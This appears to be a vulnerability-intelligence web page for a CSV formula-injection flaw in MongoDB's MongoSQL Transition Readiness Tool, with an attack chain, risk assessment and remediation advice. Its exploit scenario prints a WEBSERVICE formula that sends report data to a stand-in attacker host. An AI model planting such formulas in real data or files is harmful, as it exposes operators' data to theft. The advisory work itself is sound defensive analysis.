Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain write access to MongoDB cluster
-
DeliveryCreate or rename namespace with formula-prefixed name
-
ExploitOperator runs Transition Readiness Tool against cluster
-
ExecutionCSV report written with unsanitized namespace
-
PersistOperator opens CSV in spreadsheet application
-
ImpactFormula executes, exfiltrates report data to attacker
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
|
| Exploitation Conditions | Two simultaneous conditions are required. First, the attacker must hold write privileges on the target MongoDB cluster sufficient to create or rename a database or collection - this corresponds to PR:L in the CVSS 4.0 vector and is not achievable by an unauthenticated or read-only user. Second, an operator must run the MongoSQL Transition Readiness Tool against a cluster containing the poisoned namespace and then open the resulting CSV file in a spreadsheet application that evaluates formula cells (Microsoft Excel, LibreOffice Calc, Google Sheets, or equivalents) rather than a plain-text viewer or a hardened CSV reader. The CVSS 4.0 AT:P (Attack Requirements: Present) metric captures this workflow dependency - exploitation is impossible if report generation and spreadsheet review are not part of the operator's routine. Exploitation is limited by: the requirement for a low-privileged but authenticated cluster account; the non-default operator action of opening a CSV in a formula-evaluating application without Protected View; and the niche deployment context of the tool itself, used only during MongoDB SQL interface migrations. |
| Impact | The CVSS 4.0 score of 5.8 is calibrated accurately for this vulnerability. Real-world risk is meaningfully bounded by the multi-step exploit chain: an attacker must hold PR:L (write privileges on the MongoDB cluster), the operator must run the Transition Readiness Tool against the poisoned namespace, and then open the resulting CSV in a spreadsheet application with formula execution active (UI:A, AT:P). These compounding dependencies make opportunistic or automated exploitation unlikely. The VC:H impact is the most significant signal - successful formula execution can silently exfiltrate the full report contents to an attacker-controlled server, which could reveal database topology, collection names, and schema metadata. VI:L is minor and represents incidental integrity effects. No KEV listing confirms active exploitation, and no POC code appears in the provided intelligence, consistent with a specialized tool vulnerability of limited mass-exploitation potential. The primary realistic threat actor is an insider or a compromised low-privilege account who knows the report workflow is in use. Organizations that open CSVs only in Protected View, hardened viewers, or plain-text editors are not exposed. |
| Exploit ScenarioDerived | An attacker holding a low-privileged MongoDB account renames a database or collection to a formula string such as =WEBSERVICE("http://attacker.com/exfil?d="&SUBSTITUTE(A1," ","+")) using the mongo shell or a MongoDB driver library. An operator subsequently runs the MongoSQL Transition Readiness Tool, which writes the malicious name verbatim into the CSV report; when the operator opens the file in Excel or LibreOffice Calc without Protected View active, the spreadsheet evaluates the formula and issues an HTTP request carrying report data to the attacker's server. No public POC code has been identified, but the underlying technique is widely documented in CSV injection research and requires no specialized tooling beyond a MongoDB write-capable account. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 28, 2026
CSV injection in the MongoDB MongoSQL Transition Readiness Tool allows a low-privileged cluster user to embed spreadsheet formula directives inside database or collection names, which are written unsanitized into generated CSV reports. When an operator opens the report in a spreadsheet application such as Microsoft Excel or LibreOffice Calc, the formula executes on the operator's workstation, potentially exfiltrating report contents to an attacker-controlled endpoint or triggering external content retrieval. No public exploit code or CISA KEV listing has been identified at time of analysis; exploitation is constrained by the requirement for both cluster write access and an operator who opens the file in a formula-evaluating spreadsheet.
RemediationAI
No specific patched version has been confirmed from available data - operators should consult the MongoDB SQL Interface changelog at https://www.mongodb.com/docs/sql-interface/changelog/ directly for a fix. As immediate compensating controls, operators should configure spreadsheet applications to open CSV files in Protected View and decline any prompt to enable content or macros; in Microsoft Excel this prevents formula evaluation in untrusted files, and in LibreOffice Calc the security level should be set to High to suppress macro execution. A second control is to audit MongoDB cluster write permissions and apply least-privilege access, restricting which accounts can create or rename databases and collections, thereby limiting who can plant malicious namespace names. Cluster administrators can also scan for existing namespace names beginning with '=', '+', '-', or '@' and rename them before reports are generated. The trade-off of the Protected View control is that operators cannot directly edit the CSV in place, requiring a manual enable-editing step for legitimate use; this friction is acceptable given the low frequency of report generation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is classified as CWE-1236 (Improper Neutralization of Formula Elements in a CSV File), the canonical class for CSV injection - also known as formula injection. The affected component is the MongoDB BI Connector Transition Readiness Report tool (CPE: cpe:2.3:a:mongodb:bi_connector_transition_readiness_report:*:*:*:*:*:*:*:*), a utility that helps operators assess MongoDB namespace readiness for migration to the MongoSQL interface. The tool serializes MongoDB database and collection names into CSV rows without stripping or quoting leading characters that spreadsheet applications interpret as formula initiators: '=', '+', '-', and '@'. Spreadsheet applications including Microsoft Excel, LibreOffice Calc, and Google Sheets evaluate such cell contents as formulas, enabling operations like WEBSERVICE() calls, DDE (Dynamic Data Exchange) commands, or HYPERLINK() exfiltration. The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:A) confirms the network-reachable attack surface via the cluster, low-privilege requirement, and the active user interaction prerequisite of opening the file.
Know when MongoDB gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Write access to cluster required (PR:L); operator must actively open the CSV in a spreadsheet (UI:R); formula execution crosses into the spreadsheet application context, justifying S:C with C:H for data exfiltration and I:L for incidental formula side effects.
Primary rating from Vendor (mongodb).
CVSS VectorVendor: mongodb
Lifecycle Timeline
1DescriptionCVE.org
The MongoSQL Transition Readiness Tool writes database and collection names into its generated CSV reports without neutralizing leading characters that spreadsheet applications treat as formulas. A user with write privileges on the cluster can choose a namespace name that is later evaluated as a formula when an operator opens the generated report in a spreadsheet application, which may result in unintended disclosure of report contents or execution of external content on the operator's workstation. Generating a report for the affected namespace and opening it in a spreadsheet application is required.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
MongoDB before 2.0.9 and 2.2.x before 2.2.4 does not properly validate requests to the nativeHelper function in SpiderMo
Use-after-free in MongoDB Server's replication component can terminate replica set members unexpectedly and, under certa
The find prototype in scripting/engine_v8.h in MongoDB 2.4.0 through 2.4.4 allows remote authenticated users to cause a
The MongoDB bson JavaScript module (also known as js-bson) versions 0.5.0 to 1.0.x before 1.0.5 is vulnerable to a Regul
Remote code execution in Chartbrew versions prior to 4.8.1 allows authenticated attackers with high privileges to execut
After user deletion in MongoDB Server the improper invalidation of authorization sessions allows an authenticated user's
The default configuration for MongoDB before 2.3.2 does not validate objects, which allows remote authenticated users to
Unauthenticated MongoDB filter erasure in Budibase Server 3.39.18 through 3.44.0 lets a remote attacker read, modify, or
Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong
SimStudio below 0.5.74 has a missing authorization on MongoDB tool endpoints that allows attackers to execute arbitrary
MongoDB Server may access non-initialized region of memory leading to unexpected behaviour when zero arguments are calle
MongoDB Compass may be susceptible to code injection due to insufficient sandbox protection settings with the usage of e
EUVD-2026-67777
GHSA-9hwm-625v-gg7j
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB